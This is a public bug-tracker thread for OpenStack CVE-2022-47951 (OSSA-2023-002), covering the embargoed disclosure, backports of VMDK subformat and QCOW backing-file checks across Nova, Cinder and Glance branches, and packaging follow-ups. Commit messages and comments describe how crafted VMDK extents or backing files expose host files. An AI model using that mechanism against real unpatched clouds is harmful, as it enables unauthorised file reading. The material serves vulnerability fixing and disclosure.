The victoria patch should backport fairly cleanly to ussuri, and cleanly from there to train. So I'll wait to post the ussuri and train patches until people have had time to review the victoria patch.
[0] https:/
[1] https:/
Brian Rosmaita (brian-rosmaita) wrote : | #90 |
Rajat Dhasmana (whoami-rajat) wrote : | #91 |
I've checked the victoria patch and the changes are similar to what oslo.utils does.
Here's the code change in the victoria patch:
+ if not hasattr(info, 'format_specific'):
+ qemu_info = json.loads(out)
+ info.format_
We are loading it from the qemu-img output which looks like this,
"format-specific": {
"type": "qcow2",
"data": {
"compat": "1.1",
"corrupt": false
}
Same thing oslo.utils copies into the QemuImgInfo object here
We also have a test added which removes the 'format_specific' attribute to check the compatibility of oslo.utils < 4.1.0.
Overall, the changes in the victoria patch looks good to me.
Brian Rosmaita (brian-rosmaita) wrote : | #92 |
Brian Rosmaita (brian-rosmaita) wrote : | #93 |
Brian Rosmaita (brian-rosmaita) wrote : | #94 |
Cinder coresec team doesn't have bandwidth to review the train and ussuri patches. Since those branches are in -em mode and it's only a courtesy to include them, I propose that we be uncourteous and only include patches for master through victoria so that we can move this along.
Let me know if I should remove the train and ussuri patches from this bug.
Jeremy Stanley (fungi) wrote : | #95 |
Keeping them attached to the bug should be fine, I'll just omit them from the pre-OSSA. We can still add them to the advisory if people have time to test over the next week, or simply push them into review after the report is public.
I'm working on assembling pre-OSSA now, and still expect to send it to downstream stakeholders by the end of my day (somewhat delayed by the luck of having this fall on the same day that we scheduled publication of OSSA-2023-001).
Jeremy Stanley (fungi) wrote : | #96 |
Advance disclosure to the private mailing lists mentioned in our vulnerability management process document[*] is complete.
Changed in ossa: | |
status: | In Progress → Fix Committed |
Thomas Goirand (thomas-goirand) wrote : | #97 |
- cve-2022-47951-nova-stable-victoria.patch Edit (5.7 KiB, text/plain)
Hi,
FYI, in Debian, I intend to backport the patches on all versions from Rocky to Zed, taking a bit more attention for Rocky (which is in Buster, so Debian LTS) and Victoria (which is in Bullseye). The patches, especially the Nova one, are small enough so that backport looks doable. I'll attempt to do them myself, but I'd love if it could also be pushed on Gerrit on each individual branches.
I've read that RedHat still has customers on Queens. So probably it's going to be done there.
FYI, I already have a working Nova patch for Victoria, which I'm attaching.
Is there anything I should be aware when backporting before Victoria (and Train, since Glance goes up to there)?
Can we also somehow share the patches for older branches?
Your thoughts anyone?
Thomas Goirand (thomas-goirand) wrote : | #98 |
FYI, for Nova, the patch seems to apply cleanly up to Rocky (just did a quilt push / quilt refresh and it looks good...). However, when building the package, I get:
=======
FAIL: subunit.parser
subunit.parser
-------
_StringException: Binary content:
Packet data (application/
Parser Error: {{{Short read - got 139 bytes, wanted 4235 bytes}}}
=======
FAIL: nova.tests.
nova.tests.
-------
_StringException: Traceback (most recent call last):
File "/<<PKGBUILDDIR
format='json'))
File "/usr/lib/
self.
File "/usr/lib/
mismatch_error = self._matchHelp
File "/usr/lib/
mismatch = matcher.
File "/usr/lib/
mismatch = self.exception_
File "/usr/lib/
mismatch = matcher.
File "/usr/lib/
reraise(
File "/usr/lib/
raise exc_obj.
File "/usr/lib/
result = matchee()
File "/usr/lib/
return self._callable_
File "/<<PKGBUILDDIR
types = CONF.compute.
File "/usr/lib/
return self._conf.
File "/usr/lib/
value, loc = self._do_get(name, group, namespace)
File "/usr/lib/
info = self._get_
File "/usr/lib/
raise NoSuchOptError(
oslo_config.
=======
FAIL: nova.tests.
nova.tests.
-------
Jeremy Stanley (fungi) wrote : | #99 |
Attaching backports for older branches here is great, as is pushing them to Gerrit once we reach the scheduled publication date and time (15:00 UTC on Tuesday, January 24). Whether we should link those additional backported changes in the advisory is up to the project representatives, of course.
Dan Smith (danms) wrote : | #100 |
Thomas, it looks like you missed the conf part of the patch when applying. It's complaining about the option added in the patch being missing.
Also, I just noticed the xena-specific nova patch has some extra stuff that it shouldn't, so I will be updating that in a sec.
Dan Smith (danms) wrote : | #101 |
- nova-1996188-xena-2.patch Edit (6.0 KiB, text/plain)
Updated nova patch for xena without the accidental inclusion of an additional config option.
Thomas Goirand (thomas-goirand) wrote : | #102 |
Hi Dan,
Well, that's what's weird, I do have the conf part in my patch...
Thomas Goirand (thomas-goirand) wrote : | #103 |
Also, it's not clear to me (as a user) what should be the acceptable values of vmdk_allowed_types. Could someone (that has the knowledge) add in the option help text:
1/ If the default values are safe (ie: no vulnerability if ['streamOptimized', 'monolithicSpar
2/ What is the exhaustive list of possible values.
3/ What value exposes Nova to the VMDK file leak vulnerability.
I've searched the net for all of these info, but couldn't find out. It is very likely that I wont be the only one asking myself these questions, so having the info directly available in the default help text for the vmdk_allowed_types would be a very important improvement. BTW, I don't think having a verbose help is a problem in the current situation.
Arnaud Morin (arnaud-morin) wrote : | #104 |
Hi Thomas,
The default values ['streamOptimized', 'monolithicSparse'] are safe. Only these values are safe.
One of the *unsafe* value is: 'monolithicFlat'. This one should be discarded by the convert functions. This is what the patches are doing.
One of the VMDK (official?) documentation can be read here:
https:/
Maybe that could be nice to have it in the config desc?
Jeremy Stanley (fungi) wrote : | #105 |
Just a reminder, we're approximately an hour out from the agreed upon disclosure time. At precisely 15:00 UTC I will switch this bug to public, and then we need the patch authors (ideally) to push the fixes and their corresponding backports into Gerrit. Once we have the review links for all changes, I'll be able to finalize the OSSA publication and distribute it to mailing lists.
If Brian and/or Dan are unavailable at 15:00 UTC I can also push the patches to review.o.o, but would prefer not to so that Gerrit treats them as the change owners.
Thomas Goirand (thomas-goirand) wrote : | #106 |
The Nova patch can be backported up to Ussuri (I tried...), though before, it's complicated, because oslo.util QemuImgInfo doesn't have a format_specific attribute. For it, we would need to backport this patch:
https:/
What does upstream recommend? Should we also patch oslo.utils? Or get that information somehow, in another way in Nova? FYI, I'll try backporting the above patch and see how it goes...
Felix Huettner (felix.huettner) wrote : | #107 |
- cve-2022-47951-cinder-stable-queens-felix.patch Edit (42.6 KiB, text/plain)
hi everyone,
i backported the nova and cinder patches back up all versions until queens.
Note that i did not run unittests on them
Felix Huettner (felix.huettner) wrote : | #108 |
Felix Huettner (felix.huettner) wrote : | #109 |
Felix Huettner (felix.huettner) wrote : | #110 |
Felix Huettner (felix.huettner) wrote : | #111 |
Felix Huettner (felix.huettner) wrote : | #112 |
Felix Huettner (felix.huettner) wrote : | #113 |
Felix Huettner (felix.huettner) wrote : | #114 |
Felix Huettner (felix.huettner) wrote : | #115 |
Felix Huettner (felix.huettner) wrote : | #116 |
Felix Huettner (felix.huettner) wrote : | #117 |
Thomas Goirand (thomas-goirand) wrote : | #118 |
Another issue with train:
=======
FAIL: nova.tests.
nova.tests.
-------
_StringException: Traceback (most recent call last):
File "/usr/lib/
arg = patching.
File "/usr/lib/
original_attr = getattr(target, self.attribute)
AttributeError: module 'nova.privsep.qemu' has no attribute 'unprivileged_
description: | updated |
information type: | Private Security → Public Security |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (master) | #119 |
Fix proposed to branch: master
Review: https:/
Changed in glance: | |
status: | New → In Progress |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/zed) | #120 |
Fix proposed to branch: stable/zed
Review: https:/
Changed in cinder: | |
status: | New → In Progress |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (master) | #121 |
Fix proposed to branch: master
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/zed) | #122 |
Related fix proposed to branch: stable/zed
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/yoga) | #123 |
Fix proposed to branch: stable/yoga
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/zed) | #124 |
Fix proposed to branch: stable/zed
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/xena) | #125 |
Fix proposed to branch: stable/xena
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/yoga) | #126 |
Fix proposed to branch: stable/yoga
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/wallaby) | #127 |
Fix proposed to branch: stable/wallaby
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/xena) | #128 |
Related fix proposed to branch: stable/xena
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/victoria) | #129 |
Fix proposed to branch: stable/victoria
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/xena) | #130 |
Fix proposed to branch: stable/xena
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/yoga) | #131 |
Related fix proposed to branch: stable/yoga
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/ussuri) | #132 |
Fix proposed to branch: stable/ussuri
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/wallaby) | #133 |
Fix proposed to branch: stable/wallaby
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/victoria) | #134 |
Fix proposed to branch: stable/victoria
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/ussuri) | #135 |
Fix proposed to branch: stable/ussuri
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/train) | #136 |
Fix proposed to branch: stable/train
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/train) | #137 |
Fix proposed to branch: stable/train
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to ossa (master) | #138 |
Fix proposed to branch: master
Review: https:/
summary: |
- Arbitrary file access through custom VMDK flat descriptor - (CVE-2022-47951) + [OSSA-2023-002] Arbitrary file access through custom VMDK flat + descriptor (CVE-2022-47951) |
Christian Rohmann (christian-rohmann) wrote : | #139 |
Apart from the fix of the code itself and it being merged and backported, is there a process that triggers new releases for glance and also informs the various packaging teams/channels such as UCA with their SRU process (https:/
Only then the fix will hit most of the active installations.
Jeremy Stanley (fungi) wrote : | #140 |
Project representatives propose new point release requests through the OpenStack review team once the fixes make it through CI and merge to their respective branches.
Distribution contacts (including Canonical/Ubuntu) were notified and provided with advance copies of the patches one week ago, so that they could get a head start updating their packages in preparation for today.
OpenStack Infra (hudson-openstack) wrote : Fix merged to ossa (master) | #141 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: master
commit 07833d0dcd6f074
Author: Jeremy Stanley <email address hidden>
Date: Tue Jan 24 15:11:10 2023 +0000
Add OSSA-2023-002 (CVE-2022-47951)
Change-Id: If071ca13337d87
Closes-Bug: #1996188
Changed in ossa: | |
status: | Fix Committed → Fix Released |
Jeremy Stanley (fungi) wrote : | #142 |
The advisory is now live at https:/
[*] https:/
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/wallaby) | #143 |
Related fix proposed to branch: stable/wallaby
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (master) | #144 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: master
commit 930fc93e9fda82a
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:05:25 2022 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (master) | #145 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: master
commit 0d6282a01691cec
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
Changed in glance: | |
status: | In Progress → Fix Released |
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/zed) | #146 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/zed
commit ba37dc2ead69c08
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:09:36 2022 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
(cherry picked from commit 930fc93e9fda82a
tags: | added: in-stable-zed |
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (master) | #147 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: master
commit d1d2375c474f74b
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800
Check VMDK create-type against an allowed list
Related-Bug: #1996188
Change-Id: I5a399f1d3d702b
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/yoga) | #148 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/yoga
commit 2ae5d53526e2b22
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:09:36 2022 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
(cherry picked from commit 930fc93e9fda82a
(cherry picked from commit ba37dc2ead69c08
Conflicts:
cinder/
- changed type annotations to use implicit Optional to be
consistent with cinder yoga mypy usage
- removed refs to image_conversio
tags: | added: in-stable-yoga |
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/victoria) | #149 |
Related fix proposed to branch: stable/victoria
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/ussuri) | #150 |
Related fix proposed to branch: stable/ussuri
Review: https:/
Christian Rohmann (christian-rohmann) wrote : | #151 |
Jeremy there still seem to be no updated packages on UCA (Ubuntu Cloud Archive) - https:/
I highly doubt there will be any without an SRU. Take this (my) recent bug as an example:
https:/
stable/xyz already has the fix, there was a release made, but no package updates were triggerd.
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/zed) | #152 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/zed
commit 4967ab6935cfd02
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
(cherry picked from commit 0d6282a01691cec
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/yoga) | #153 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/yoga
commit dc8e5a5cc7f5e9d
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
(cherry picked from commit 0d6282a01691cec
(cherry picked from commit 4967ab6935cfd02
Jeremy Stanley (fungi) wrote : | #154 |
Christian: OpenStack's vulnerability coordinators provide advance copies of embargoed security fixes to representatives of distributions including Ubuntu. We also notify the private linux-distros mailing list where they have representatives subscribed. At time of publication we circulate our advisories not only to our community's openstack-announce and openstack-discuss mailing lists, but also the broader <email address hidden> discussion list where they participate.
OpenStack is packaged and included in numerous distributions. The available time for our vulnerability coordinators is already quite minimal, and we simply cannot follow every single distribution's custom workflow for requesting that they act on security advisories. If a distribution you use isn't providing updated packages with the fixes we've supplied in a timely enough manner to suit your tastes, please follow up with them directly. It will mean more coming from their users than from me even if I did have the time to do so.
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/zed) | #155 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/zed
commit 6e8ed78470edbae
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800
[stable-
NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-
[1] https:/
Related-Bug: #1996188
Change-Id: I5a399f1d3d702b
tags: | added: in-stable-xena |
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/xena) | #156 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/xena
commit e96415409daa158
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:09:36 2022 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
(cherry picked from commit 930fc93e9fda82a
(cherry picked from commit ba37dc2ead69c08
Conflicts:
cinder/
- changed type annotations to use implicit Optional to be
consistent with cinder yoga mypy usage
- removed refs to image_conversio
(cherry picked from commit 2ae5d53526e2b22
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/xena) | #157 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/xena
commit f45b5f024e765f0
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
(cherry picked from commit 0d6282a01691cec
(cherry picked from commit 4967ab6935cfd02
(cherry picked from commit dc8e5a5cc7f5e9d
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/xena) | #158 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/xena
commit 867c4dd893ea721
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800
[stable-
Trivial conflicts on xena only in:
NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-
[1] https:/
Related-Bug: #1996188
Change-Id: I5a399f1d3d702b
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/yoga) | #159 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/yoga
commit 516f0de1f6a54cd
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800
[stable-
NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-
[1] https:/
Related-Bug: #1996188
Change-Id: I5a399f1d3d702b
Christian Rohmann (christian-rohmann) wrote (last edit ): | #160 |
Jeremy: Thanks for your response. I did not mean to imply you did not inform to the best of your abilities. I rather wanted to mention recent experience with the SRU process of the Ubuntu Cloud Archive, which apparently does mean there are no new packages built and released for stable branch point releases per se.
I know opened an SRU bug (https:/
FWIW, I totally agree that the issue of the UCA not automatically providing new packages to fix critical (security) bugs is not something the OpenStack team is responsible for having sent out notifications on all the usual channels. But since UCA is a quite popular source for OpenStack packages and it's also used and promoted by deployment tooling like openstack-ansible I believe it's worth ask why the notification of incoming security fixes seems to not work as smooth here as with other distros.
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/rocky) | #161 |
Fix proposed to branch: stable/rocky
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/victoria) | #162 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/victoria
commit 06e6be579156d8b
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
(cherry picked from commit 0d6282a01691cec
(cherry picked from commit 4967ab6935cfd02
(cherry picked from commit dc8e5a5cc7f5e9d
(cherry picked from commit f45b5f024e765f0
(cherry picked from commit 9a98c4a7d1358cd
Conflicts: glance/
- removed code related to missing tests - 050802dd67b9135
tags: | added: in-stable-victoria |
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to cinder (master) | #163 |
Related fix proposed to branch: master
Review: https:/
Sylvain Bauza (sylvain-bauza) wrote : | #164 |
https:/
Changed in nova: | |
importance: | Undecided → Critical |
status: | New → Confirmed |
status: | Confirmed → Fix Released |
Changed in cinder: | |
importance: | Undecided → Critical |
status: | In Progress → Fix Released |
Giuseppe Petralia (peppepetra) wrote : | #165 |
I am trying to reproduce the bug with a focal/ussuri openstack and step 4 (creating the VM) is failing for me with error:
2023-01-30 11:45:24.823 62889 ERROR nova.compute.
d525d061cdb548 1a40c665d79e45e
while connecting to monitor: 2023-01-
h":false}
My nova version is:
root@juju-
ii nova-api-metadata 2:21.2.4-0ubuntu2 all OpenStack Compute - metadata API frontend
ii nova-common 2:21.2.4-0ubuntu2 all OpenStack Compute - common files
ii nova-compute 2:21.2.4-0ubuntu2 all OpenStack Compute - compute node base
ii nova-compute-kvm 2:21.2.4-0ubuntu2 all OpenStack Compute - compute node (KVM)
ii nova-compute-
ii python3-nova 2:21.2.4-0ubuntu2 all OpenStack Compute Python 3 libraries
ii python3-novaclient 2:17.0.0-0ubuntu1 all client library for OpenStack Compute API - 3.x
Can you please tell me on which nova version are you seeing this issue?
Sylvain Bauza (sylvain-bauza) wrote : | #166 |
Honestly, now this bug report is public, I don't really want to discuss about the attack vectors and how to reproduce the security issue.
At least what you need to know is that all the Nova releases versions had the bug until we fixed it.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 23.1.0 | #167 |
This issue was fixed in the openstack/glance 23.1.0 release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 24.2.0 | #168 |
This issue was fixed in the openstack/glance 24.2.0 release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 25.1.0 | #169 |
This issue was fixed in the openstack/glance 25.1.0 release.
Brian Rosmaita (brian-rosmaita) wrote : | #170 |
@Guiseppe at comment #165:
This line in your output shows that the "backing file" exploit was attempted:
Could not open '/etc/nova/
Luckily it didn't succeed due to a permissions issue, but it might succeed for other files in your installation, so you should definitely upgrade/patch it.
Bjoern (bjoern-t) wrote : | #171 |
Hello,
are we expecting patches for Rocky as it is still in EM?
But it seems based on oslo_utils.
Could you add a clarification for Rocky ?
Jeremy Stanley (fungi) wrote : | #172 |
Bjoern: There should be no expectations where extended maintenance[*] branches are concerned. Projects can voluntarily leave their branches open when they reach the extended maintenance phase, in order to facilitate collaboration between interested community members (typically package maintainers for distributions providing downstream support for those versions). If you are interested in supplying a backport to stable/rocky, please push it into Gerrit for reviewing.
Also, be aware that a proposal[**] has already been floated to close stable/rocky on all projects, so there may not be much time left to get patches merged there if you have them.
[*] https:/
[**] https:/
Brian Rosmaita (brian-rosmaita) wrote : | #173 |
I backported the fix as far as stable/train so the Cinder project would at least make an attempt at a fix that supported python 2.7. Nova EOL'd queens, rocky, and stein in November 2022, which in my opinion effectively EOL's those branches for openstack in general (plus, the cinder gates are currently nonfunctional for stein and rocky); the last release of openstack to support python 2.7 is the train series.
The issue with oslo.utils.
If you want to backport the CVE-2022-47951 fix to rocky for Cinder, you'll need to do two things (as discussed in comment #86 above):
1. backport change Ia0353204abf8, which is commit 9f9194d804c in stable/train, to rocky. This will make cinder request json output from qemu-img-info
2. backport the cinder-
The code is so old at that point that both those patches will produce conflicts (because they'll refer to stuff in train that isn't present in rocky), but hopefully the conflicts won't be too bad to resolve.
I'm not sure exactly what you'll need to do for nova. I suspect that json support was added to oslo.utils.
https:/
Hopefully it's obvious where to do that in the nova patch. Good luck!
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/wallaby) | #174 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/wallaby
commit be11d54ac420e0e
Author: Brian Rosmaita <email address hidden>
Date: Wed Jan 11 09:50:29 2023 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
(cherry picked from commit 930fc93e9fda82a
(cherry picked from commit ba37dc2ead69c08
Conflicts:
cinder/
- changed type annotations to use implicit Optional to be
consistent with cinder yoga mypy usage
- removed refs to image_conversio
(cherry picked from commit 2ae5d53526e2b22
(cherry picked from commit e96415409daa158
Conflicts:
cinder/
- removed type annotations
- restored wallaby-era fetch_verify_
tags: | added: in-stable-wallaby |
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/victoria) | #175 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/victoria
commit 17565262dafb5be
Author: Brian Rosmaita <email address hidden>
Date: Sat Jan 14 07:06:27 2023 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
(cherry picked from commit 930fc93e9fda82a
(cherry picked from commit ba37dc2ead69c08
Conflicts:
cinder/
- changed type annotations to use implicit Optional to be
consistent with cinder yoga mypy usage
- removed refs to image_conversio
(cherry picked from commit 2ae5d53526e2b22
(cherry picked from commit e96415409daa158
Conflicts:
cinder/
- removed type annotations
- restored wallaby-era fetch_verify_
(cherry picked from commit be11d54ac420e0e
Conflicts:
cinder/
- did not include extraneous test from be11d54ac's parent commit
Additions:
cinder/
- added code to handle oslo.utils<
cinder/
- added a test for ^^
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/wallaby) | #176 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/wallaby
commit 719a2a6089ec240
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800
[stable-
NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-
[1] https:/
Related-Bug: #1996188
Change-Id: I5a399f1d3d702b
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/ussuri) | #177 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/ussuri
commit 9902c17927b69e0
Author: Brian Rosmaita <email address hidden>
Date: Mon Jan 16 14:44:04 2023 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
(cherry picked from commit 930fc93e9fda82a
(cherry picked from commit ba37dc2ead69c08
Conflicts:
cinder/
- changed type annotations to use implicit Optional to be
consistent with cinder yoga mypy usage
- removed refs to image_conversio
(cherry picked from commit 2ae5d53526e2b22
(cherry picked from commit e96415409daa158
Conflicts:
cinder/
- removed type annotations
- restored wallaby-era fetch_verify_
(cherry picked from commit be11d54ac420e0e
Conflicts:
cinder/
- did not include extraneous test from be11d54ac's parent commit
Additions:
cinder/
- added code to handle oslo.utils<
cinder/
- added a test for ^^
(cherry picked from commit 17565262dafb5be
Conflicts:
cinder/
- removed src_passphrase_file parameter to convert_image() that was
introduced in victoria by change I896f70d204ad103e
cinder/
- removed references to ddt.TestNameFormat (not present in this
version of ddt)
tags: | added: in-stable-ussuri |
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/ussuri) | #178 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/ussuri
commit b60fb70c9faf3b7
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
